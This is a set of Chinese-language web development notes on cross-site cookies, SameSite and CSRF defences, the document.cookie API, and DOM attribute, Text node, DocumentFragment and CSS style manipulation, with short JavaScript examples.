**跨站 + 跨域**请求，想“带 Cookie”通常要同时满足几件事：

* 前端请求要开：`credentials: 'include'`
* API 响应要开：`Access-Control-Allow-Credentials: true`
* `Access-Control-Allow-Origin` 必须是具体的 `https://yumg.top`（不能是 `*`）
* Cookie 本身在跨站场景通常要：`SameSite=None; Secure`

**SameSite=None 等于“允许跨站携带 Cookie”，CSRF 风险就回来了**，解决方案：

**CSRF 令牌（推荐）**

* 后端给页面一个 token（放在 HTML 里或通过一个接口拿到）
* 前端每次对“会改状态”的请求（POST/PUT/DELETE）带上 token（例如 `X-CSRF-Token`）
* 后端校验 token 与 session 绑定

**校验 `Origin` / `Referer`（强烈建议加）**

* 对所有写操作：只允许 `Origin` 属于你的站点（比如 `yumg.top`）
* 这对挡住大多数 CSRF 很有效（攻击者网页的 Origin 不对）

**要求“自定义请求头”**（例如 `X-Requested-With` 或你的 `X-CSRF-Token`）

* 跨站表单提交带不了自定义头
* 攻击面更小（当然别把它当唯一防线）

**把敏感操作改成 Authorization Bearer（不走 Cookie）**

* 本质是避开“浏览器自动携带 Cookie”带来的 CSRF 面

结论：SameSite=None 不是“不能用”，是“用了就必须把 CSRF 防线补齐”。

`mp.yumgjs.com` + `api.yumgjs.com` 通常比 `yumg.top` + `api.yumgjs.com` 省心很多，它们属于同一个“站点”（同一 registrable domain：`yumgjs.com`）。很多浏览器策略在 **same-site** 场景更友好：

* 你往往可以用更保守的 `SameSite=Lax`（甚至不必 None），体验更稳定
* 第三方 Cookie 限制对你影响小很多
* 整体安全模型更清晰

但注意：**同站点 ≠ 同源**。`mp.yumgjs.com` 调 `api.yumgjs.com` 仍然是跨域（origin 不同），所以 **CORS / credentials** 这套可能还是要配，只是 SameSite/第三方 Cookie 的坑少很多。

**“少走弯路派”的正确打开方式**：

**方案 A：同站点新开子域（推荐）**

* 前端：`mp.yumgjs.com`
* API：`api.yumgjs.com`
* Nginx 分流到不同 upstream

好处：结构清晰、日志/限流/权限更好做。

注意：这仍然是“跨域”(origin 不同)，但已经是 **same-site**，Cookie/SameSite 的麻烦会少很多，CORS 也更可控。

**方案 B：直接同域同源，用路径反代（最省事）**

* 网站：`https://yumgjs.com`
* API：`https://yumgjs.com/api/*` → Nginx 反代到后端端口

这个是最爽的：**同源**

于是：

* CORS 基本不用配了
* 前端不用 `credentials: include` 那堆细节（正常同源 cookie 会自动带）
* Cookie 默认策略更顺，不容易被浏览器第三方限制搞死
* 你可以用更保守的 `SameSite=Lax`，CSRF 压力也小一大截

如果你目标是“少麻烦、稳定上线”，方案 B 往往是性价比之王。

#### Secure

`Secure` 的意思很简单：**这个 Cookie 只能在 HTTPS 请求里发送**。

* 只要请求是 `https://...`，浏览器才会把带 `Secure` 的 Cookie 附上去
* 如果你用 `http://...` 访问，同名 Cookie 就算存在也不会被带上
* 它是个开关，不需要写值：`Secure` 写了就表示开启

补一句很关键的工程现实：现在很多场景（尤其 `SameSite=None`）**不配 `Secure` 直接无效**，所以基本默认都该配上。

#### HttpOnly

`HttpOnly` 的作用是：**不让 JavaScript 读取这个 Cookie**。

也就是：

* `document.cookie` 读不到它
* 你自己写的前端代码也拿不到它

但浏览器在发请求时仍然会带上（只要域名、路径、SameSite 等条件满足）。

所以它防的主要是：**XSS 把 Cookie 读走并外传**。

注意一个边界：`HttpOnly` 只能防“偷 Cookie 的值”，**防不了 XSS 直接用你的登录态发请求**（因为请求时浏览器会自动携带 Cookie）。

#### SameSite

`SameSite` 是用来控制：**跨站请求时要不要带 Cookie**，它主要解决两件事：

1. **CSRF**：攻击者网站诱导用户发请求，浏览器自动带上受害者在目标站点的 Cookie
2. **跨站追踪**：第三方资源（比如隐藏图片/iframe）借 Cookie 识别你是谁

它有三个值：`Strict` / `Lax` / `None`。

##### SameSite=Strict（最严格）

* **只要是跨站，就绝对不带 Cookie**
* 只有在“当前站点”和“请求目标站点”一致时才会带

特点：安全最强，但体验可能很差（有时点外链跳转也会像没登录）。

##### SameSite=Lax（默认推荐）

`Lax` 的核心规则：

* 一般跨站不带 Cookie
* **但“顶层导航（top-level navigation）到目标站点的 GET”会带 Cookie**

直觉理解：用户主动点链接跳过去（GET），可以带；但第三方页面暗搓搓帮你发请求（POST、iframe、img、ajax），不带。

所以它能挡住经典 CSRF（尤其是 POST 表单那种），同时又不至于把正常跳转体验搞崩。

##### SameSite=None（允许跨站携带）

`None` 表示：**允许跨站请求也带 Cookie**

这通常用于：

* 前后端跨站点部署（比如站点和 API 不同站点）
* 第三方嵌入（iframe 里的登录态）
* 第三方 SSO 某些场景

但有个硬性要求：`SameSite=None` 必须同时设置 `Secure`，否则浏览器会当作无效处理（不按 None 执行）。

### document.cookie

`document.cookie`属性用于读写当前网页的 Cookie。

读取的时候，它会返回当前网页的所有 Cookie，前提是该 Cookie 不能有`HTTPOnly`属性。

```js
document.cookie // "foo=bar;baz=bar"
```

上面代码从`document.cookie`一次性读出两个 Cookie，它们之间使用分号分隔。必须手动还原，才能取出每一个 Cookie 的值。

```js
var cookies = document.cookie.split(';');

for (var i = 0; i < cookies.length; i++) {
  console.log(cookies[i]);
}
// foo=bar
// baz=bar
```

`document.cookie`属性是可写的，可以通过它为当前网站添加 Cookie。

```js
document.cookie = 'fontSize=14';
```

写入的时候，Cookie 的值必须写成`key=value`的形式。注意，等号两边不能有空格。另外，写入 Cookie 的时候，必须对分号、逗号和空格进行转义（它们都不允许作为 Cookie 的值），这可以用`encodeURIComponent`方法达到。

但是，`document.cookie`一次只能写入一个 Cookie，而且写入并不是覆盖，而是添加。

```js
document.cookie = 'test1=hello';
document.cookie = 'test2=world';
document.cookie
// test1=hello;test2=world
```

`document.cookie`读写行为的差异（一次可以读出全部 Cookie，但是只能写入一个 Cookie），与 HTTP 协议的 Cookie 通信格式有关。浏览器向服务器发送 Cookie 的时候，`Cookie`字段是使用一行将所有 Cookie 全部发送；服务器向浏览器设置 Cookie 的时候，`Set-Cookie`字段是一行设置一个 Cookie。

写入 Cookie 的时候，可以一起写入 Cookie 的属性。

```js
document.cookie = "foo=bar; expires=Fri, 31 Dec 2020 23:59:59 GMT";
```

上面代码中，写入 Cookie 的时候，同时设置了`expires`属性。属性值的等号两边，也是不能有空格的。

各个属性的写入注意点如下。

* `path`属性必须为绝对路径，默认为当前路径。
* `domain`属性值必须是当前发送 Cookie 的域名的一部分。比如，当前域名是`example.com`，就不能将其设为`foo.com`。该属性默认为当前的一级域名（不含二级域名）。如果显式设置该属性，则该域名的任意子域名也可以读取 Cookie。
* `max-age`属性的值为秒数。
* `expires`属性的值为 UTC 格式，可以使用`Date.prototype.toUTCString()`进行日期格式转换。

`document.cookie`写入 Cookie 的例子如下。

```js
document.cookie = 'fontSize=14; '
  + 'expires=' + someDate.toGMTString() + '; '
  + 'path=/subdirectory; '
  + 'domain=example.com';
```

注意，上面的`domain`属性，以前的写法是`.example.com`，表示子域名也可以读取该 Cookie，新的写法可以省略前面的点。

Cookie 的属性一旦设置完成，就没有办法读取这些属性的值。

删除一个现存 Cookie 的唯一方法，是设置它的`expires`属性为一个过去的日期。

```js
document.cookie = 'fontSize=;expires=Thu, 01-Jan-1970 00:00:01 GMT';
```

上面代码中，名为`fontSize`的 Cookie 的值为空，过期时间设为1970年1月1月零点，就等同于删除了这个 Cookie。

---

---
url: /skill/ibrvaa4u/index.md
---
## 属性的操作

HTML 元素包括标签名和若干个键值对，这个键值对就称为“属性”（attribute）。

```html
<a id="test" href="http://www.example.com">
    链接
</a>
```

上面代码中，`a` 元素包括两个属性：`id` 属性和 `href` 属性。

属性本身是一个对象（`Attr` 对象），但是实际上，这个对象极少使用。一般都是通过元素节点对象（`HTMlElement` 对象）来操作属性。

### Element.attributes 属性

元素对象有一个 `attributes` 属性，返回一个类似数组的动态对象，成员是该元素标签的所有属性节点对象，**属性的实时变化都会反映在这个节点对象上**。其他类型的节点对象，虽然也有 `attributes` 属性，但返回的都是 `null`，因此可以把这个属性视为元素对象独有的。

单个属性可以通过序号引用，也可以通过属性名引用。

```js
// HTML 代码如下
// <body bgcolor="yellow" onload="">
document.body.attributes[0]
document.body.attributes.bgcolor
document.body.attributes['ONLOAD']
```

注意，上面代码的三种方法，返回的都是属性节点对象，而不是属性值。

属性节点对象有 `name` 和 `value` 属性，对应该属性的属性名和属性值，等同于 `nodeName` 属性和 `nodeValue` 属性。

```js
// HTML 代码为
// <div id="mydiv">
var n = document.getElementById('mydiv');

n.attributes[0].name // "id"
n.attributes[0].nodeName // "id"

n.attributes[0].value // "mydiv"
n.attributes[0].nodeValue // "mydiv"
```

下面代码可以遍历一个元素节点的所有属性。

```js
var para = document.getElementsByTagName('p')[0];
var result = document.getElementById('result');

if (para.hasAttributes()) {
  var attrs = para.attributes;
  var output = '';
  for(var i = attrs.length - 1; i >= 0; i--) {
    output += attrs[i].name + '->' + attrs[i].value;
  }
  result.textContent = output;
} else {
  result.textContent = 'No attributes to show';
}
```

### 元素的标准属性

**HTML 元素的标准属性（即在标准中定义的属性），会自动成为元素节点对象的属性**。

```js
var a = document.getElementById('test');
a.id // "test"
a.href // "http://www.example.com/"
```

上面代码中，`a` 元素标签的属性 `id` 和 `href`，自动成为节点对象的属性。

这些属性都是可写的。

```js
var img = document.getElementById('myImage');
img.src = 'http://www.example.com/image.jpg';
```

上面的写法，会立刻替换掉 `img` 对象的 `src` 属性，即会显示另外一张图片。

这种修改属性的方法，常常用于添加表单的属性。

```js
var f = document.forms[0];
f.action = 'submit.php';
f.method = 'POST';
```

上面代码为表单添加提交网址和提交方法。

**注意，这种用法虽然可以读写属性，但是无法删除属性，`delete` 运算符在这里不会生效**。

HTML 元素的属性名是大小写不敏感的，但是 JavaScript 对象的属性名是大小写敏感的。转换规则是，转为 JavaScript 属性名时，一律采用小写。如果属性名包括多个单词，则采用骆驼拼写法，即从第二个单词开始，每个单词的首字母采用大写，比如 `onClick`。

**有些 HTML 属性名是 JavaScript 的保留字，转为 JavaScript 属性时，必须改名**。主要是以下两个。

* `for` 属性改为 `htmlFor`
* `class` 属性改为 `className`

**另外，HTML 属性值一般都是字符串，但是 JavaScript 属性会自动转换类型。比如，将字符串 `true` 转为布尔值，将 `onClick` 的值转为一个函数，将 `style` 属性的值转为一个 `CSSStyleDeclaration` 对象。因此，可以对这些属性赋予各种类型的值。**

### 属性操作的标准方法

元素节点提供六个方法，用来操作属性。

* `getAttribute()`
* `getAttributeNames()`
* `setAttribute()`
* `hasAttribute()`
* `hasAttributes()`
* `removeAttribute()`

**注意点**：

这六个方法对所有属性（包括用户自定义的属性）都适用。

**`getAttribute()` 只返回字符串，不会返回其他类型的值**。

这些方法只接受属性的标准名称，不用改写保留字，比如 `for` 和 `class` 都可以直接使用。另外，这些方法对于属性名是大小写不敏感的。

```js
var image = document.images[0];
image.setAttribute('class', 'myImage');
```

上面代码中，`setAttribute` 方法直接使用 `class` 作为属性名，不用写成 `className`。

#### Element.getAttribute()

`Element.getAttribute` 方法返回当前元素节点的指定属性。如果指定属性不存在，则返回 `null`。

```js
// HTML 代码为
// <div id="div1" align="left">
var div = document.getElementById('div1');
div.getAttribute('align') // "left"
```

#### Element.getAttributeNames()

`Element.getAttributeNames()` 返回一个数组，成员是当前元素的所有属性的名字。如果当前元素没有任何属性，则返回一个空数组。使用 `Element.attributes` 属性，也可以拿到同样的结果，**唯一的区别是它返回的是类似数组的对象**。

```js
var mydiv = document.getElementById('mydiv');

mydiv.getAttributeNames().forEach(function (key) {
  var value = mydiv.getAttribute(key);
  console.log(key, value);
})
```

上面代码用于遍历某个节点的所有属性。

#### Element.setAttribute()

`Element.setAttribute` 方法用于为当前元素节点新增属性。如果同名属性已存在，则相当于编辑已存在的属性。该方法没有返回值。

```js
// HTML 代码为
// <button> Hello World </button>
var b = document.querySelector('button');
b.setAttribute('name', 'myButton');
b.setAttribute('disabled', true);
```

上面代码中，`button` 元素的 `name` 属性被设成 `myButton`，`disabled` 属性被设成 `true`。

这里有两个地方需要注意，首先，**属性值总是字符串，其他类型的值会自动转成字符串**，比如布尔值 `true` 就会变成字符串 `true`；

其次，上例的 `disable` 属性是一个布尔属性，对于 `<button>` 元素来说，这个属性不需要属性值，只要设置了就总是会生效，因此 `setAttribute` 方法里面可以将 `disabled` 属性设成任意值。

#### Element.hasAttribute()

`Element.hasAttribute` 方法返回一个布尔值，表示当前元素节点是否包含指定属性。

```js
var d = document.getElementById('div1');

if (d.hasAttribute('align')) {
  d.setAttribute('align', 'center');
}
```

上面代码检查 `div` 节点是否含有 `align` 属性。如果有，则设置为居中对齐。

#### Element.hasAttributes()

`Element.hasAttributes` 方法返回一个布尔值，表示当前元素是否有属性，如果没有任何属性，就返回 `false`，否则返回 `true`。

```js
var foo = document.getElementById('foo');
foo.hasAttributes() // true
```

#### Element.removeAttribute()

`Element.removeAttribute` 方法移除指定属性。该方法没有返回值。

```js
// HTML 代码为
// <div id="div1" align="left" width="200px">
document.getElementById('div1').removeAttribute('align');
// 现在的 HTML 代码为
// <div id="div1" width="200px">
```

### dataset 属性

有时，需要在 HTML 元素上附加数据，供 JavaScript 脚本使用。一种解决方法是自定义属性。

```html
<div id="mydiv" foo="bar">
```

上面代码为 `div` 元素自定义了 `foo` 属性，然后可以用 `getAttribute()` 和 `setAttribute()` 读写这个属性。

```js
var n = document.getElementById('mydiv');
n.getAttribute('foo') // bar
n.setAttribute('foo', 'baz')
```

这种方法虽然可以达到目的，但是会使得 HTML 元素的属性不符合标准，导致网页代码通不过校验。

更好的解决方法是，使用标准提供的 `data-*` 属性。

```html
<div id="mydiv" data-foo="bar">
```

然后，使用元素节点对象的 `dataset` 属性，它指向一个对象，可以用来操作 HTML 元素标签的 `data-*` 属性。

```js
var n = document.getElementById('mydiv');
n.dataset.foo // bar
n.dataset.foo = 'baz'
```

上面代码中，通过 `dataset.foo` 读写 `data-foo` 属性。

删除一个 `data-*` 属性，可以直接使用 `delete` 命令。

```js
delete document.getElementById('myDiv').dataset.foo;
```

除了 `dataset` 属性，也可以用 `getAttribute('data-foo')`、`removeAttribute('data-foo')`、`setAttribute('data-foo')`、`hasAttribute('data-foo')` 等方法操作 `data-*` 属性。

注意，`data-` 后面的属性名有限制，只能包含字母、数字、连词线（`-`）、点（`.`）、冒号（`:`）和下划线（`_`)。而且，属性名不应该使用 `A` 到 `Z` 的大写字母，比如不能有 `data-helloWorld` 这样的属性名，而要写成 `data-hello-world`。

转成 `dataset` 的键名时，连词线后面如果跟着一个小写字母，那么连词线会被移除，该小写字母转为大写字母，其他字符不变。反过来，`dataset` 的键名转成属性名时，所有大写字母都会被转成连词线+该字母的小写形式，其他字符不变。比如，`dataset.helloWorld` 会转成 `data-hello-world`。

## Text 节点

文本节点（`Text`）代表元素节点（`Element`）和属性节点（`Attribute`）的文本内容。如果一个节点只包含一段文本，那么它就有一个文本子节点，代表该节点的文本内容。

通常我们使用父节点的 `firstChild`、`nextSibling` 等属性获取文本节点，或者使用 `Document` 节点的 `createTextNode` 方法创造一个文本节点。

```js
// 获取文本节点
var textNode = document.querySelector('p').firstChild;

// 创造文本节点
var textNode = document.createTextNode('Hi');
document.querySelector('div').appendChild(textNode);
```

浏览器原生提供一个 `Text` 构造函数。它返回一个文本节点实例。它的参数就是该文本节点的文本内容。

```js
// 空字符串
var text1 = new Text();

// 非空字符串
var text2 = new Text('This is a text node');
```

注意，由于空格也是一个字符，所以哪怕只有一个空格，也会形成文本节点。比如，`<p> </p>` 包含一个空格，它的子节点就是一个文本节点。

文本节点除了继承 `Node` 接口，还继承了 `CharacterData` 接口。

### 属性

以下的属性和方法大部分来自 `CharacterData` 接口。

#### data

`data` 属性等同于 `nodeValue` 属性，用来设置或读取文本节点的内容。

```js
// 读取文本内容
document.querySelector('p').firstChild.data
// 等同于
document.querySelector('p').firstChild.nodeValue

// 设置文本内容
document.querySelector('p').firstChild.data = 'Hello World';
```

#### wholeText

`wholeText` 属性将当前文本节点与毗邻的文本节点，作为一个整体返回。大多数情况下，`wholeText` 属性的返回值，与 `data` 属性和 `textContent` 属性相同。但是，某些特殊情况会有差异。

举例来说，HTML 代码如下。

```html
<p id="para">A <em>B</em> C</p>
```

这时，文本节点的 `wholeText` 属性和 `data` 属性，返回值相同。

```js
var el = document.getElementById('para');
el.firstChild.wholeText // "A "
el.firstChild.data // "A "
```

但是，一旦移除 `<em>` 节点，`wholeText` 属性与 `data` 属性就会有差异，因为这时其实 `<p>` 节点下面包含了两个毗邻的文本节点。

```js
el.removeChild(para.childNodes[1]);
el.firstChild.wholeText // "A C"
el.firstChild.data // "A "
```

#### length

`length` 属性返回当前文本节点的文本长度。

```js
(new Text('Hello')).length // 5
```

#### nextElementSibling

`nextElementSibling` 属性返回紧跟在当前文本节点后面的那个同级元素节点。如果取不到元素节点，则返回 `null`。

```js
// HTML 为
// <div> Hello <em> World </em> </div>
var tn = document.querySelector('div').firstChild;
tn.nextElementSibling
// <em> World </em>
```

#### previousElementSibling

`previousElementSibling` 属性返回当前文本节点前面最近的同级元素节点。如果取不到元素节点，则返回 `null：`。

### 方法

以下 5 个方法都是编辑 `Text` 节点文本内容的方法。

#### appendData()

`appendData()`：在 `Text` 节点尾部追加字符串。

#### deleteData()

`deleteData()`：删除 `Text` 节点内部的子字符串，第一个参数为子字符串开始位置，第二个参数为子字符串长度。

#### insertData()

`insertData()`：在 `Text` 节点插入字符串，第一个参数为插入位置，第二个参数为插入的子字符串。

#### replaceData()

`replaceData()`：用于替换文本，第一个参数为替换开始位置，第二个参数为需要被替换掉的长度，第三个参数为新加入的字符串。

#### subStringData()

`subStringData()`：用于获取子字符串，第一个参数为子字符串在 `Text` 节点中的开始位置，第二个参数为子字符串长度。

```js
// HTML 代码为
// <p> Hello World </p>
var pElementText = document.querySelector('p').firstChild;

pElementText.appendData('!');
// 页面显示 Hello World!
pElementText.deleteData(7, 5);
// 页面显示 Hello W
pElementText.insertData(7, 'Hello ');
// 页面显示 Hello WHello
pElementText.replaceData(7, 5, 'World');
// 页面显示 Hello WWorld
pElementText.substringData(7, 10);
// 页面显示不变，返回 "World "
```

#### remove()

`remove` 方法用于移除当前 `Text` 节点。

```js
// HTML 代码为
// <p> Hello World </p>
document.querySelector('p').firstChild.remove()
// 现在 HTML 代码为
// <p> </p>
```

#### splitText()

`splitText` 方法将 `Text` 节点一分为二，变成两个毗邻的 `Text` 节点。它的参数就是分割位置（从零开始），分割到该位置的字符前结束。如果分割位置不存在，将报错。

分割后，该方法返回分割位置后方的字符串，而原 `Text` 节点变成只包含分割位置前方的字符串。

```js
// html 代码为 <p id="p"> foobar </p>
var p = document.getElementById('p');
var textnode = p.firstChild;

var newText = textnode.splitText(3);
newText // "bar"
textnode // "foo"
```

父元素节点的 `normalize` 方法可以将毗邻的两个 `Text` 节点合并。

接上面的例子，文本节点的 `splitText` 方法将一个 `Text` 节点分割成两个，父元素的 `normalize` 方法可以实现逆操作，将它们合并。

```js
p.childNodes.length // 2

// 将毗邻的两个 Text 节点合并
p.normalize();
p.childNodes.length // 1
```

## DocumentFragment 节点

`DocumentFragment` 节点代表一个文档的片段，本身就是一个完整的 DOM 树形结构。它没有父节点，`parentNode` 返回 `null`，但是可以插入任意数量的子节点。它不属于当前文档，操作 `DocumentFragment` 节点，要比直接操作 DOM 树快得多。

它一般用于构建一个 DOM 结构，然后插入当前文档。`document.createDocumentFragment` 方法，以及浏览器原生的 `DocumentFragment` 构造函数，可以创建一个空的 `DocumentFragment` 节点。然后再使用其他 DOM 方法，向其添加子节点。

```js
var docFrag = document.createDocumentFragment();
// 等同于
var docFrag = new DocumentFragment();

var li = document.createElement('li');
li.textContent = 'Hello World';
docFrag.appendChild(li);

document.querySelector('ul').appendChild(docFrag);
```

上面代码创建了一个 `DocumentFragment` 节点，然后将一个 `li` 节点添加在它里面，最后将 `DocumentFragment` 节点移动到原文档。

注意，`DocumentFragment` 节点本身不能被插入当前文档。当它作为 `appendChild()`、`insertBefore()`、`replaceChild()` 等方法的参数时，**是它的所有子节点插入当前文档，而不是它自身**。

一旦 `DocumentFragment` 节点被添加进当前文档，它自身就变成了空节点（`textContent` 属性为空字符串），可以被再次使用。如果想要保存 `DocumentFragment` 节点的内容，可以使用 `cloneNode` 方法。

```js
document
  .querySelector('ul')
  .appendChild(docFrag.cloneNode(true));
```

上面这样添加 `DocumentFragment` 节点进入当前文档，不会清空 `DocumentFragment` 节点。

下面是一个例子，使用 `DocumentFragment` 反转一个指定节点的所有子节点的顺序。

```js
function reverse(n) {
  var f = document.createDocumentFragment();
  while(n.lastChild) f.appendChild(n.lastChild);
  n.appendChild(f);
}
```

`DocumentFragment` 节点对象没有自己的属性和方法，全部继承自 `Node` 节点和 `ParentNode` 接口。也就是说，`DocumentFragment` 节点比 `Node` 节点多出以下四个属性。

* `children`：返回一个动态的 `HTMLCollection` 集合对象，包括当前 `DocumentFragment` 对象的所有子元素节点。
* `firstElementChild`：返回当前 `DocumentFragment` 对象的第一个子元素节点，如果没有则返回 `null`。
* `lastElementChild`：返回当前 `DocumentFragment` 对象的最后一个子元素节点，如果没有则返回 `null`。
* `childElementCount`：返回当前 `DocumentFragment` 对象的所有子元素数量。

## CSS 操作

CSS 与 JavaScript 是两个有着明确分工的领域，前者负责页面的视觉效果，后者负责与用户的行为互动。但是，它们毕竟同属网页开发的前端，因此不可避免有着交叉和互相配合。

### HTML 元素的 style 属性

操作 CSS 样式最简单的方法，就是使用网页元素节点的 `getAttribute()` 方法、`setAttribute()` 方法和 `removeAttribute()` 方法，直接读写或删除网页元素的 `style` 属性。

```js
div.setAttribute(
  'style',
  'background-color:red;' + 'border:1px solid black;'
);
```

上面的代码相当于下面的 HTML 代码。

```html
<div style="background-color:red; border:1px solid black;" />
```

`style` 不仅可以使用字符串读写，它本身还是一个对象，部署了 CSSStyleDeclaration 接口，可以直接读写个别属性。

```js
e.style.fontSize = '18px';
e.style.color = 'black';
```

### CSSStyleDeclaration 接口

CSSStyleDeclaration 接口用来操作元素的样式。三个地方部署了这个接口。

* 元素节点的 `style` 属性（`Element.style`）
* `CSSStyle` 实例的 `style` 属性
* `window.getComputedStyle()` 的返回值

CSSStyleDeclaration 接口可以直接读写 CSS 的样式属性，不过，**连词号需要变成骆驼拼写法**。

```js
var divStyle = document.querySelector('div').style;

divStyle.backgroundColor = 'red';
divStyle.border = '1px solid black';
divStyle.width = '100px';
divStyle.height = '100px';
divStyle.fontSize = '10em';

divStyle.backgroundColor // red
divStyle.border // 1px solid black
divStyle.height // 100px
divStyle.width // 100px
```

上面代码中，`style` 属性的值是一个 CSSStyleDeclaration 实例。这个对象所包含的属性与 CSS 规则一一对应，但是名字需要改写，比如 `background-color` 写成 `backgroundColor`。

改写的规则是将横杠从 CSS 属性名中去除，然后将横杠后的第一个字母大写。如果 CSS 属性名是 JavaScript 保留字，则规则名之前需要加上字符串 `css`，比如 `float` 写成 `cssFloat`。

注意，该对象的属性值都是字符串，设置时必须包括单位，但是不含规则结尾的分号。比如，`divStyle.width` 不能写为 `100`，而要写为 `100px`。

另外，`Element.style` 返回的只是行内样式，并不是该元素的全部样式。通过样式表设置的样式，或者从父元素继承的样式，无法通过这个属性得到。元素的全部样式要通过 `window.getComputedStyle()` 得到。

#### 实例属性

##### CSSStyleDeclaration.cssText

`CSSStyleDeclaration.cssText` 属性用来读写当前规则的所有样式声明文本。

```js
var divStyle = document.querySelector('div').style;

divStyle.cssText = 'background-color: red;'
  + 'border: 1px solid black;'
  + 'height: 100px;'
  + 'width: 100px;';
```

注意，`cssText` 的属性值不用改写 CSS 属性名。

删除一个元素的所有行内样式，最简便的方法就是设置 `cssText` 为空字符串。

```js
divStyle.cssText = '';
```

##### CSSStyleDeclaration.length

`CSSStyleDeclaration.length` 属性返回一个整数值，表示当前规则包含多少条样式声明。

```js
// HTML 代码如下
// < div id = "myDiv"
//   style = "height: 1px; width: 100%; background-color: #CA1;"
// ></div>
var myDiv = document.getElementById('myDiv');
var divStyle = myDiv.style;
divStyle.length // 3
```

上面代码中，`myDiv` 元素的行内样式共包含 3 条样式规则。

##### CSSStyleDeclaration.parentRule

`CSSStyleDeclaration.parentRule` 属性返回当前规则所属的那个样式块（CSSRule 实例）。如果不存在所属的样式块，该属性返回 `null`。

该属性只读，且只在使用 CSSRule 接口时有意义。

```js
var declaration = document.styleSheets[0].rules[0].style;
declaration.parentRule === document.styleSheets[0].rules[0]
// true
```

#### 实例方法

##### CSSStyleDeclaration.getPropertyPriority()

`CSSStyleDeclaration.getPropertyPriority` 方法接受 CSS 样式的属性名作为参数，返回一个字符串，表示有没有设置 `important` 优先级。如果有就返回 `important`，否则返回空字符串。

```js
// HTML 代码为
// <div id="myDiv" style="margin: 10px!important; color: red;"/>
var style = document.getElementById('myDiv').style;
style.margin // "10px"
style.getPropertyPriority('margin') // "important"
style.getPropertyPriority('color') // ""
```

上面代码中，`margin` 属性有 `important` 优先级，`color` 属性没有。

##### CSSStyleDeclaration.getPropertyValue()

`CSSStyleDeclaration.getPropertyValue` 方法接受 CSS 样式属性名作为参数，返回一个字符串，表示该属性的属性值。

```js
// HTML 代码为
// <div id="myDiv" style="margin: 10px!important; color: red;"/>
var style = document.getElementById('myDiv').style;
style.margin // "10px"
style.getPropertyValue("margin") // "10px"
```

**CSSStyleDeclaration.item()**

`CSSStyleDeclaration.item` 方法接受一个整数值作为参数，返回该位置的 CSS 属性名。

```js
// HTML 代码为
// <div id="myDiv" style="color: red; background-color: white;"/>
var style = document.getElementById('myDiv').style;
style.item(0) // "color"
style.item(1) // "background-color"
```

上面代码中，`0` 号位置的 CSS 属性名是 `color`，`1` 号位置的 CSS 属性名是 `background-color`。

如果没有提供参数，这个方法会报错。如果参数值超过实际的属性数目，这个方法返回一个空字符值。

##### CSSStyleDeclaration.removeProperty()

`CSSStyleDeclaration.removeProperty` 方法接受一个属性名作为参数，在 CSS 规则里面移除这个属性，返回这个属性原来的值。

```js
// HTML 代码为
// <div id="myDiv" style="color: red; background-color: white;">
//   111
// </div>
var style = document.getElementById('myDiv').style;
style.removeProperty('color') // 'red'
// HTML 代码变为
// <div id="myDiv" style="background-color: white;">
```

上面代码中，删除 `color` 属性以后，字体颜色从红色变成默认颜色。

##### CSSStyleDeclaration.setProperty()

`CSSStyleDeclaration.setProperty` 方法用来设置新的 CSS 属性。该方法没有返回值。

该方法可以接受三个参数。

* 第一个参数：属性名，该参数是必需的。
* 第二个参数：属性值，该参数可选。如果省略，则参数值默认为空字符串。
* 第三个参数：优先级，该参数可选。如果设置，唯一的合法值是 `important`，表示 CSS 规则里面的 `!important`。

```js
// HTML 代码为
// <div id="myDiv" style="color: red; background-color: white;">
//   111
// </div>
var style = document.getElementById('myDiv').style;
style.setProperty('border', '1px solid blue');
```

上面代码执行后，`myDiv` 元素就会出现蓝色的边框。

### CSS 模块的侦测

CSS 的规格发展太快，新的模块层出不穷。不同浏览器的不同版本，对 CSS 模块的支持情况都不一样。有时候，需要知道当前浏览器是否支持某个模块，这就叫做“CSS 模块的侦测”。

一个比较普遍适用的方法是，判断元素的 `style` 对象的某个属性值是否为字符串。

```js
typeof element.style.animationName === 'string';
typeof element.style.transform === 'string';
```

如果该 CSS 属性确实存在，会返回一个字符串。即使该属性实际上并未设置，也会返回一个空字符串。如果该属性不存在，则会返回 `undefined`。

```js
document.body.style['maxWidth'] // ""
document.body.style['maximumWidth'] // undefined
```

上面代码说明，这个浏览器支持 `max-width` 属性，但是不支持 `maximum-width` 属性。

注意，不管 CSS 属性名的写法带不带连词线，`style` 属性上都能反映出该属性是否存在。

```js
document.body.style['backgroundColor'] // ""
document.body.style['background-color'] // ""
```

另外，使用的时候，需要把不同浏览器的 CSS 前缀也考虑进去。

```js
var content = document.getElementById('content');
typeof content.style['webkitAnimation'] === 'string'
```

这种侦测方法可以写成一个函数。

```js
function isPropertySupported(property) {
  if (property in document.body.style) return true;
  var prefixes = ['Moz', 'Webkit', 'O', 'ms', 'Khtml'];
  var prefProperty = property.charAt(0).toUpperCase() + property.substr(1);

  for(var i = 0; i < prefixes.length; i++){
    if((prefixes[i] + prefProperty) in document.body.style) return true;
  }

  return false;
}

isPropertySupported('background-clip')
// true
```

### CSS 对象

浏览器原生提供 CSS 对象，为 JavaScript 操作 CSS 提供一些工具方法。

这个对象目前有两个静态方法。

#### CSS.escape()

`CSS.escape` 方法用于转义 CSS 选择器里面的特殊字符。

```html
<div id="foo#bar">
```

上面代码中，该元素的 `id` 属性包含一个 `#` 号，该字符在 CSS 选择器里面有特殊含义。不能直接写成 `document.querySelector('#foo#bar')`，只能写成 `document.querySelector('#foo\\#bar')`。这里必须使用双斜杠的原因是，单引号字符串本身会转义一次斜杠。

`CSS.escape` 方法就用来转义那些特殊字符。

```js
document.querySelector('#' + CSS.escape('foo#bar'))
```

#### CSS.supports()

`CSS.supports` 方法返回一个布尔值，表示当前环境是否支持某一句 CSS 规则。

它的参数有两种写法，一种是第一个参数是属性名，第二个参数是属性值；另一种是整个参数就是一行完整的 CSS 语句。

```js
// 第一种写法
CSS.supports('transform-origin', '5px') // true

// 第二种写法
CSS.supports('display: table-cell') // true
```

注意，第二种写法的参数结尾不能带有分号，否则结果不准确。

```js
CSS.supports('display: table-cell;') // false
```

### window.getComputedStyle()

行内样式（inline style）具有最高的优先级，改变行内样式，通常会立即反映出来。

但是，网页元素最终的样式是综合各种规则计算出来的。因此，如果想得到元素实际的样式，只读取行内样式是不够的，需要得到浏览器最终计算出来的样式规则。

`window.getComputedStyle()` 方法，就用来返回浏览器计算后得到的最终规则。它接受一个节点对象作为参数，返回一个 CSSStyleDeclaration 实例，包含了指定节点的最终样式信息。所谓“最终样式信息”，指的是各种 CSS 规则叠加后的结果。

```js
var div = document.querySelector('div');
var styleObj = window.getComputedStyle(div);
styleObj.backgroundColor
```

